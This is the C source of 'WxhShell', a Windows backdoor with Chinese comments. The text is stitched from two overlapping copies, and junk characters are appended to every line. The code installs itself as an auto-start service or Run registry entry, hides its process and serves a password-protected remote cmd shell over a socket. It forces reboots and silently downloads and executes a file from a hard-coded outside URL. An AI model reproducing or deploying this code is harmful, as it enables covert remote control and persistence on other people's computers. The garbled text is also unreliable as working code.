    if(Boot(SHUTDOWN)) Nl7"|()e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fk>/  
    else { K.] *:fd  
    closesocket(wsh); O~B iqm  
    ExitThread(0); 8@qYzSx[  
    } 8J%^gy>m]  
    break; l?B\TA^  
    } lC.Yu$O5  
  // 获取shell @Q3aJ98)2  
  case 's': { g^1M]1.f  
    CmdShell(wsh); j ij:}.d6  
    closesocket(wsh); KLs%{'[7:  
    ExitThread(0); /+Xv( B  
    break; ?T70C9  
  } }7vX4{Yn  
  // 退出 @q2Yka  
  case 'x': { :h N*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u Y/Q]N T  
    CloseIt(wsh); &`<j!xlG  
    break; 8(D>ws$  
    } w@ 4q D  
  // 离开 u A:|#mO  
  case 'q': { iU{F\>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c0u!V+V%  
    closesocket(wsh); f>5{SoM  
    WSACleanup(); $r9Sn  
    exit(1); H(!)]dO  
    break; cxrUk$f  
        } 3t(nV4uDF  
  } <r,l  
  } 4W~pAruwr  
9rtcI[&?0  
  // 提示信息 $ W(m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gec<5Ewg  
} ge[f/"u  
  } Q,Hw@w<1  
{Os$Uui37\  
  return; qp_kILo~  
} d> `9!)  
?I`']|I  
// shell模块句柄 kh 1 7  
int CmdShell(SOCKET sock) ~ DVAk|fc  
{ g% #" 5Kr  
STARTUPINFO si; !SD?  
ZeroMemory(&si,sizeof(si)); Ezm ~SY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .ev'd&l.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gc7S_D~;  
PROCESS_INFORMATION ProcessInfo; MMD4b}p  
char cmdline[]="cmd"; fC2e}WR   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q.t>:`  
  return 0; 7Xm pq&g  
} U/m6% )Yx(  
;c_X ^"d  
// 自身启动模式 0CQ\e1S,#  
int StartFromService(void) 1Qtojph  
{ &n6mXFF#>P  
typedef struct V(A6>0s$|  
{ 7<oLe3fbM  
  DWORD ExitStatus; 'u{m37ZJ  
  DWORD PebBaseAddress; uY,&lX+!  
  DWORD AffinityMask; m]+g[L?-  
  DWORD BasePriority; Xp{+){Iu  
  ULONG UniqueProcessId; ,Zb]3  
  ULONG InheritedFromUniqueProcessId; *;(LKRV  
}   PROCESS_BASIC_INFORMATION; B[!wo  
Z'>Xn^  
PROCNTQSIP NtQueryInformationProcess; WsTbqR)W%  
?7'uo$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d90B15]gv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M&~3fRb 4  
=E8lpN'  
  HANDLE             hProcess; g9H~\w  
  PROCESS_BASIC_INFORMATION pbi; vdYd~>w  
{%'(IJ|5z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]YQlCx`  
  if(NULL == hInst ) return 0; r Ka7[/  
x1]^].#Eo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0"kNn5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <K%qaf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vX]\Jqy  
SgHLs  
  if (!NtQueryInformationProcess) return 0; =K=FzV'_~  
0iinr:=u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T/V8&'^i  
  if(!hProcess) return 0; !uii|"  
@3K)VjY7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5u MP31  
4$+1jjC]>~  
  CloseHandle(hProcess); 8 =FP92X  
KTD# a1W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KY<>S/  
if(hProcess==NULL) return 0; B@Ez,u5  
+#}I^N  
HMODULE hMod; :se o0w]  
char procName[255]; cXFNX<  
unsigned long cbNeeded; 0 ML=]  
&7!&]kA+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Pk7Yq:avL  
Aj#CB.y  
  CloseHandle(hProcess); S " R]i  
lplEQ]J|  
if(strstr(procName,"services")) return 1; // 以服务启动 FylL7n  
ce\]o^4  
  return 0; // 注册表启动 z*.4Y  
} #Sr_PEo _  
-LJbx<'  
// 主模块 I#zrz3WU  
int StartWxhshell(LPSTR lpCmdLine) 9w^1/t&=04  
{ M2(+}gv;7p  
  SOCKET wsl; \]e"#"v}}_  
BOOL val=TRUE; 2K'3ry)[y  
  int port=0; [h+MA>%!  
  struct sockaddr_in door; bX:Y5o49  
l Ot3^`  
  if(wscfg.ws_autoins) Install(); Wjn1W;m&g  
>c*}Do{lG  
port=atoi(lpCmdLine); ` /#f8R1g  
!5wm9I!5^  
if(port<=0) port=wscfg.ws_port; Zj99]4?9  
8 sZ~3  
  WSADATA data; \Y_2Z /  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FN NEh  
1@6dHFA`o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    /L'r L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TYGUB%A  
  door.sin_family = AF_INET; V.vA~a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q"n*`#Yt'  
  door.sin_port = htons(port); +pZ, RW.D  
q{HfT d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $NC1>83  
closesocket(wsl); X}Bo[YoY$  
return 1; &u( eu'Q3  
}  jhjb)r.  
;|6kFBGC"+  
  if(listen(wsl,2) == INVALID_SOCKET) { m!3b.2/h  
closesocket(wsl); BoE;,s>]NW  
return 1; y8'WR-;  
} i[/g&fx  
  Wxhshell(wsl); 3zo]*6p0  
  WSACleanup(); Gkv<)}G  
n#[-1 (P  
return 0; k3h,c;  
l5F>v!NA  
} D]S@U>]M!  
_]a8lr+_-  
// 以NT服务方式启动 ;,![Lar5L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "Lk -R5iFd  
{ @.;] $N&J  
DWORD   status = 0; ,)e&u1'  
  DWORD   specificError = 0xfffffff; &Ed7|k]H  
_fx0-S*$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zZ &L#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [`nY /g:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ")'o5V  
  serviceStatus.dwWin32ExitCode     = 0; YhYcqE8  
  serviceStatus.dwServiceSpecificExitCode = 0; 0OO$(R*  
  serviceStatus.dwCheckPoint       = 0; 3o&PVU? Q  
  serviceStatus.dwWaitHint       = 0; j/`- x  
:Fz;nG-G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?piv]Z  
  if (hServiceStatusHandle==0) return; Ca?5bCI,  
p%toD{$  
status = GetLastError(); 7pMQ1- (  
  if (status!=NO_ERROR) U]tbV<m%  
{ jX}}^XwX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _xT=AF9~o  
    serviceStatus.dwCheckPoint       = 0; S*-n%D0q5  
    serviceStatus.dwWaitHint       = 0; k~Qb"6n2  
    serviceStatus.dwWin32ExitCode     = status; 7\m.xWX e  
    serviceStatus.dwServiceSpecificExitCode = specificError; sVtx h]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <`,pyvR Kv  
    return; 4A^=4"BCV  
  } !Z[dK{ f"  
eIBHAdU+g/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .|[ZEXq  
  serviceStatus.dwCheckPoint       = 0; EN />f=%  
  serviceStatus.dwWaitHint       = 0; @ c,KK~{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Bf33%I~  
} '2mR;APz  
WBD e`  
// 处理NT服务事件,比如:启动、停止 lPF(&pP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S`HshYlE q  
{ m99j]w r~c  
switch(fdwControl) P=PcO>  
{ wQbN5*82  
case SERVICE_CONTROL_STOP: 2 g5Ft  
  serviceStatus.dwWin32ExitCode = 0; ^HYmi\`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^Yz.,!B[  
  serviceStatus.dwCheckPoint   = 0; u3)Oj7cX  
  serviceStatus.dwWaitHint     = 0; ],CJSA!5F  
  { #U45;idp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'zCJK~x`x  
  } r2A%.bL#  
  return; ,CqJ ((  
case SERVICE_CONTROL_PAUSE: qOy3D~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^*.S7.;2o  
  break; e=K2]Y Q{  
case SERVICE_CONTROL_CONTINUE: PkA_uDhw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y+xw`gR:  
  break; w:xLg.Eq6  
case SERVICE_CONTROL_INTERROGATE: "Y0:Y?Vz"  
  break; *)0bifw$&  
}; c@9jc^CJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "^E/N},%u5  
} 9l) .L L  
v Yt-Nx  
// 标准应用程序主函数 "{>I5<:t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %"tLs%"7=P  
{ .2?tx OKh  
v,t;!u,40  
// 获取操作系统版本 &2IrST{d:V  
OsIsNt=GetOsVer(); /N6sH!w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1,@-y#V_  
@8WG  
  // 从命令行安装 i(DoAfYf/q  
  if(strpbrk(lpCmdLine,"iI")) Install(); <cu? g  
Q79& Q04XN  
  // 下载执行文件 \Y.&G,?  
if(wscfg.ws_downexe) { %qA@)u53  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C"l_78  
  WinExec(wscfg.ws_filenam,SW_HIDE); "q@OM f  
} lr SdFJ%  
{TT@Mkz_QC  
if(!OsIsNt) { !u~h.DrvZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 G8xM]'y  
HideProc(); sVP[7&vr~  
StartWxhshell(lpCmdLine); lF-;h{   
} YT!QY@qw  
else SN2X{Q|*  
  if(StartFromService()) S~jl%]  
  // 以服务方式启动 ga0>J_  
  StartServiceCtrlDispatcher(DispatchTable); 7^$PauAv  
else XrR@cDNx{  
  // 普通方式启动 ;#c|ZnX  
  StartWxhshell(lpCmdLine); oFt]q =EU  
|jB]5ciT  
return 0; 5Pmmt&#/Z  
} `L<f15][  
7oY}=281  
klHOAb1  
APxy %0Q  
=========================================== i! G^=N  
vt{s"\f  
;0*T7l  
9y=$ |"<(  
K07SbL7g!p  
VYw vT0  
" ERxA79  
+N0V8T%~z.  
#include <stdio.h> g1U   
#include <string.h> `P1jg$(eA  
#include <windows.h> 2yqm$i9C  
#include <winsock2.h> A WlR" p2  
#include <winsvc.h> [@D+kL*>  
#include <urlmon.h> WK7=z3mu  
U9:?d>7  
#pragma comment (lib, "Ws2_32.lib") ,EPs>#d  
#pragma comment (lib, "urlmon.lib") sO7$b@"u.  
@91Q=S  
#define MAX_USER   100 // 最大客户端连接数 #6g-{OBv  
#define BUF_SOCK   200 // sock buffer :`BZ,j_  
#define KEY_BUFF   255 // 输入 buffer b_ 88o-*/  
m~s.al(G91  
#define REBOOT     0   // 重启 !>XG$-$`Z  
#define SHUTDOWN   1   // 关机 B ;Zsp  
6itp Mck  
#define DEF_PORT   5000 // 监听端口 J/(3: a>  
".+wz1  
#define REG_LEN     16   // 注册表键长度 Id8^6FLw  
#define SVC_LEN     80   // NT服务名长度 $Yfm>4  
EoLF7j<W  
// 从dll定义API lhZWL}l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1B~H*=t4h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [ bv>(a_,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oQJK}9QR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9vc3&r  
arf`%9M  
// wxhshell配置信息 5=CLR  
struct WSCFG { F5Ce:+h  
  int ws_port;         // 监听端口 =\s(v-8  
  char ws_passstr[REG_LEN]; // 口令 *yAC8\v  
  int ws_autoins;       // 安装标记, 1=yes 0=no rg U$&O  
  char ws_regname[REG_LEN]; // 注册表键名 /'U/rjb_h{  
  char ws_svcname[REG_LEN]; // 服务名 /7Z0|Zw]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #5HJW[9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5A]IiX4Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zf;1U98oC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 75vd ]45as  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hg7`jE&2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d!) &@k  
,sPsL9]$  
}; rtcY(5Q  
9ls<Y  
// default Wxhshell configuration FY"!%)TV  
struct WSCFG wscfg={DEF_PORT, v ?@Ys+V  
    "xuhuanlingzhe", H?8uy_Sc  
    1, "Yw-1h`fR  
    "Wxhshell", kE QT[Lo  
    "Wxhshell", m Nw|S*C  
            "WxhShell Service", r.M8#YL  
    "Wrsky Windows CmdShell Service", {UT>> *C  
    "Please Input Your Password: ", $?p^ m`t_  
  1, N>;"r]Rl"  
  "http://www.wrsky.com/wxhshell.exe", $x;wnXXXM  
  "Wxhshell.exe" cad1eOT'  
    }; 8EZ"z d`n/  
>*%ySlZbs  
// 消息定义模块 JBQ,rX_Hw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R{S{N2+p(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M@@"-dy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lPm'>, }Y  
char *msg_ws_ext="\n\rExit."; _[h1SAJ  
char *msg_ws_end="\n\rQuit."; Cec!{]DL&  
char *msg_ws_boot="\n\rReboot..."; YBQO]3f  
char *msg_ws_poff="\n\rShutdown..."; P(fTlrb  
char *msg_ws_down="\n\rSave to "; E@QsuS2&  
}8 A]  
char *msg_ws_err="\n\rErr!"; 88Yp0T<1  
char *msg_ws_ok="\n\rOK!"; 6 )eO%M`  
&,Dh*)k  
char ExeFile[MAX_PATH]; 30]?Jz6m  
int nUser = 0; @V)k*h3r+  
HANDLE handles[MAX_USER]; 6TS+z7S81L  
int OsIsNt; ew B&PR  
%t M]|!yw  
SERVICE_STATUS       serviceStatus; H@2JL.(k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WQ4:='(  
4A0R07"  
// 函数声明 e#L/  
int Install(void); 7dI+aJ  
int Uninstall(void); Sj{z  
int DownloadFile(char *sURL, SOCKET wsh); 0[}"b(O{  
int Boot(int flag); bnLvJ]i)  
void HideProc(void); &k(t_~m>  
int GetOsVer(void); sJtz{'  
int Wxhshell(SOCKET wsl); VkFTIyt  
void TalkWithClient(void *cs); Lu}oC2  
int CmdShell(SOCKET sock); @u3K.}i:g  
int StartFromService(void); |0n h  
int StartWxhshell(LPSTR lpCmdLine); l epR}  
f5zxy!dhKS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H?ssV^k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k7)H %31;  
{6'5K U*RH  
// 数据结构和表定义 D8slSX`6j  
SERVICE_TABLE_ENTRY DispatchTable[] = O-:#Q(H!  
{ yJ8WYQQMG  
{wscfg.ws_svcname, NTServiceMain}, nab:y(]$/  
{NULL, NULL} f33'2PYl  
}; $6atr-Pb  
Y[Us"K`  
// 自我安装 [~?LOH  
int Install(void) A- IpE  
{ Jis{k$4  
  char svExeFile[MAX_PATH]; YMLo~j4J  
  HKEY key; 1eI >Yy>}  
  strcpy(svExeFile,ExeFile); *\m 53mb  
AS`0.RC-  
// 如果是win9x系统,修改注册表设为自启动 Hk8:7"4Q  
if(!OsIsNt) { ')I/D4v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { My'M ~#kO,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); & PrV+Lv  
  RegCloseKey(key); =K{$?%"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YFOK%7K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -QCo]:cp  
  RegCloseKey(key); Z'<=06  
  return 0; bG67TWY)  
    } ?I)-ez  
  } ~|@aV:k  
} gt6*x=RCrQ  
else { |ap{+ xh  
9+h9]T:9  
// 如果是NT以上系统,安装为系统服务 8e)k5[\m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [ivz/r(Rj  
if (schSCManager!=0) @^} % o-:  
{ ,7SLc+  
  SC_HANDLE schService = CreateService d|]F^DDuI  
  ( ukv _bw  
  schSCManager, ,XCC#F(d1  
  wscfg.ws_svcname, =PAvPj&}e  
  wscfg.ws_svcdisp, 6%C:k,Cx{d  
  SERVICE_ALL_ACCESS, PTIC2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W&}YM b  
  SERVICE_AUTO_START, V=k!&xN~  
  SERVICE_ERROR_NORMAL, ui`xgR\6Rh  
  svExeFile, :1eI"])(  
  NULL, 6#6Ve$Vl]  
  NULL, )y'`C@ijI  
  NULL, r vVU5zA4H  
  NULL, e{U`^ao`F8  
  NULL IB /.i(  
  ); QkZT%!7  
  if (schService!=0) o1MI&}r  
  {  S20x  
  CloseServiceHandle(schService); Yi&;4vC  
  CloseServiceHandle(schSCManager); V\%;S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f!e8xDfA  
  strcat(svExeFile,wscfg.ws_svcname); #>O,w0<qM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wra*lQb/B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W"AWhi{h  
  RegCloseKey(key); 2:MB u5**  
  return 0; 3X*;.'#Z  
    } f( hK>H  
  } fo&q/;l\  
  CloseServiceHandle(schSCManager); !0c7nzjm  
} >BMJA:j  
} &5Ea6j  
cQzd0X  
return 1; [wRk )kl`  
} vLD Ma>  
2V/ A%  
// 自我卸载 ;gy_Qf2U  
int Uninstall(void) .}kUD]pW  
{  kOETx  
  HKEY key; >#*]/t  
X<K[` =I  
if(!OsIsNt) { ;5ugnVXu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RPP xiYU^  
  RegDeleteValue(key,wscfg.ws_regname); I/jMe'Kp  
  RegCloseKey(key); WW0N"m'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 71 hv~Nk/x  
  RegDeleteValue(key,wscfg.ws_regname); $@Zb]gavt?  
  RegCloseKey(key); s2_j@k?%  
  return 0; /#20`;~F)  
  } 5|NM]8^^0[  
} l Vo](#W  
} ]o$Kh$~5  
else { 5dT-{c%w4  
LTS3[=AB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ] $$ciFM  
if (schSCManager!=0) -WE pBt7*  
{ m@.4Wrv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #l2wF>0  
  if (schService!=0) E,shTh%&~  
  { UY*Hc  
  if(DeleteService(schService)!=0) { 2$yKa5SaX  
  CloseServiceHandle(schService); Hlp!6\gukp  
  CloseServiceHandle(schSCManager); Otj=vGr0  
  return 0; %bZ3^ ub}t  
  } U|g4t=@ZR  
  CloseServiceHandle(schService); &at>pV3_  
  } KArf:d  
  CloseServiceHandle(schSCManager); M ioS  
} )J<Li!3  
} "'94E,W  
aWm0*W"(@  
return 1; YN n,{Xi  
} y mY,*Rb  
hZY+dHa]  
// 从指定url下载文件 kWjCSC>jA  
int DownloadFile(char *sURL, SOCKET wsh) J [2;&-@  
{ !-2nIY!  
  HRESULT hr; r-^Ju6w{  
char seps[]= "/"; ggVB8QN{  
char *token; $n(?oyf  
char *file; u Zz^>* b  
char myURL[MAX_PATH]; 6aK'%K  
char myFILE[MAX_PATH]; )_ NQ*m  
[ 8N1tZ{`  
strcpy(myURL,sURL); \! Os!s  
  token=strtok(myURL,seps); m0paGG  
  while(token!=NULL) SLSJn))@!  
  { #E5Sc\,  
    file=token; 8'Xpx+v  
  token=strtok(NULL,seps); & oZI. Qeo  
  } {(o\G"\<XY  
R)WvU4+U  
GetCurrentDirectory(MAX_PATH,myFILE); Dgj`_yd  
strcat(myFILE, "\\"); Y gQ_P4B;  
strcat(myFILE, file); } !pC}m  
  send(wsh,myFILE,strlen(myFILE),0); 7 '2E-#^  
send(wsh,"...",3,0); 0h^upB#p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w?Nvm?_]  
  if(hr==S_OK) W>wIcUP<<  
return 0; cm%QV?  
else t&mw@bj  
return 1; Z7JI4"  
+NxEx/{  
} llhJ,wD  
(nbqL+  
// 系统电源模块 6NZ3(   
int Boot(int flag) W |G(x8  
{ $bF.6  
  HANDLE hToken;  8y OzD  
  TOKEN_PRIVILEGES tkp; /jC0[%~jV  
kFHqQs aG  
  if(OsIsNt) { /e|`mu%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AQ32rJT8c`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 702&E(rx,  
    tkp.PrivilegeCount = 1; -1Lh="US  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i:&Y{iPQp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZUQ1\Iw  
if(flag==REBOOT) { ~ I]kY%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]8htJ]<|Q  
  return 0; C;oP"K]4=  
} |ZJ]`qmZ  
else { @8DB Ln w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NlU:e}zGR  
  return 0; 16keCG\  
} J}i$ny_3OB  
  } rxI?|}4  
  else { 8|dl t$  
if(flag==REBOOT) { j08 G-_Gjn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FnP/NoZa>  
  return 0; uB 6`e!Q  
} tJUMLn?  
else { 2"'0OQN0\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TA`*]*O(  
  return 0; GTYGm  
} Fw!5hR`,  
} *=MC+4E  
8/-GrdyE  
return 1; \kzxt/Ow  
} {p 9y{$  
I=D`:u\H  
// win9x进程隐藏模块 d}>Nl$  
void HideProc(void) jXGr{n  
{ 5ii`!y  
k^C;"awh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .',ikez  
  if ( hKernel != NULL )  |}QDC/  
  { 4L^KR_h/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bV@53_)N2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s+yBxgQ/  
    FreeLibrary(hKernel); A0oC*/  
  } 6}L[7~1  
W7l/{a @  
return; *VIM!/YW  
} e l'^9K  
.<u<!fL2  
// 获取操作系统版本 _66zXfM<  
int GetOsVer(void) =k2+VI  
{ zIH[ :  
  OSVERSIONINFO winfo; :?@d\c '  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +{]/ b%P  
  GetVersionEx(&winfo); HzQ6KYAMq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @-qxNw  
  return 1; oE"!  
  else ?.v!RdM+  
  return 0; GaSk &'n$Y  
} RT)0I;  
@-kzSm  
// 客户端句柄模块 _S,2j_R9  
int Wxhshell(SOCKET wsl) nvu|V3B0  
{ 5EFow-AH  
  SOCKET wsh; cw/g1,p  
  struct sockaddr_in client; !g=,O6  
  DWORD myID; UmiW_JB  
OrPIvP<w@  
  while(nUser<MAX_USER) ?5$\8gZ  
{ %Q1v8l.}  
  int nSize=sizeof(client); x\3 ` W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +SrE  
  if(wsh==INVALID_SOCKET) return 1; 5}*aP  
9C|T/+R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,{%/$7)  
if(handles[nUser]==0) yeE_1C .  
  closesocket(wsh); &^63*x;hE  
else T oy~\  
  nUser++; 9{70l539  
  } +3s i=x\=/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aZ*b"3  
&5(|a"5+G  
  return 0; 6M"J3\ x  
} gBYL.^H^l  
'[qG ,^f  
// 关闭 socket C(?>l.QGw  
void CloseIt(SOCKET wsh) u5V<f;  
{ /:ma}qG y  
closesocket(wsh); qAR~js`5  
nUser--; rU<  H7U  
ExitThread(0); Z:O24{ro5  
} y\5V (Q\  
jt Q2vJ-  
// 客户端请求句柄 YwoytoXK  
void TalkWithClient(void *cs) LP@Q8{'  
{ 9@QP?=\Y  
L.U [eH  
  SOCKET wsh=(SOCKET)cs; H!Uy4L~>  
  char pwd[SVC_LEN]; ukS@8/eJ  
  char cmd[KEY_BUFF]; v}xz`]MW<,  
char chr[1]; ppb]RN|)  
int i,j; 1'c!9  
(LL4V 3)  
  while (nUser < MAX_USER) { \dIIZSN  
wXuHD<<  
if(wscfg.ws_passstr) { 8@6:UR.)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (mt,:hX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k W/3 Aq7r  
  //ZeroMemory(pwd,KEY_BUFF); $o/ ?R]h  
      i=0; PS`)6yn{_  
  while(i<SVC_LEN) { D?@330'P9C  
5{,/m"-  
  // 设置超时 K`(STvtM  
  fd_set FdRead; MCL?J,1?r  
  struct timeval TimeOut; eW\7X%I  
  FD_ZERO(&FdRead); ecA0z c~  
  FD_SET(wsh,&FdRead); a3R#Bg(  
  TimeOut.tv_sec=8; w^G<]S {l  
  TimeOut.tv_usec=0; lsJ'dS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q6H90Zb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \w^U<_zq  
JaG<.ki  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bi#o1jR  
  pwd=chr[0]; #`y7L4V*o  
  if(chr[0]==0xd || chr[0]==0xa) { 1ReO.Dd`R  
  pwd=0; f IQ$a >  
  break; [FF%HRce,.  
  } p*#SSR9<  
  i++; z)43+8;  
    } D~NH 4B  
=ZzhH};aX  
  // 如果是非法用户,关闭 socket Lkqu"V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r6Pi ZgR  
} f+fF5Z\  
r{>tTJFD(:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1ww|km  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kl3#&>e  
d cPh @3  
while(1) { {YK6IgEsJe  
=!{}:An1$  
  ZeroMemory(cmd,KEY_BUFF); #mx;t3ja7  
!*C^gIQGU  
      // 自动支持客户端 telnet标准   7lR(6ka&/  
  j=0; sl |S9Ix  
  while(j<KEY_BUFF) { 3"I 1'+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j(/"}d3osm  
  cmd[j]=chr[0]; HmbTV(lC  
  if(chr[0]==0xa || chr[0]==0xd) { h^x7[qe  
  cmd[j]=0; cCyg&% zsT  
  break;  gT O%  
  } MI',E?#yB  
  j++; aOWbIS[8  
    } I>L lc Y  
CEqfsKrsxE  
  // 下载文件 kJJQcjAP:  
  if(strstr(cmd,"http://")) { LEyn1d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5XFhjVmEL  
  if(DownloadFile(cmd,wsh)) |06J4H~k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yk?ux Z4)H  
  else LO# {   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -aKk#fd  
  } >tib21*  
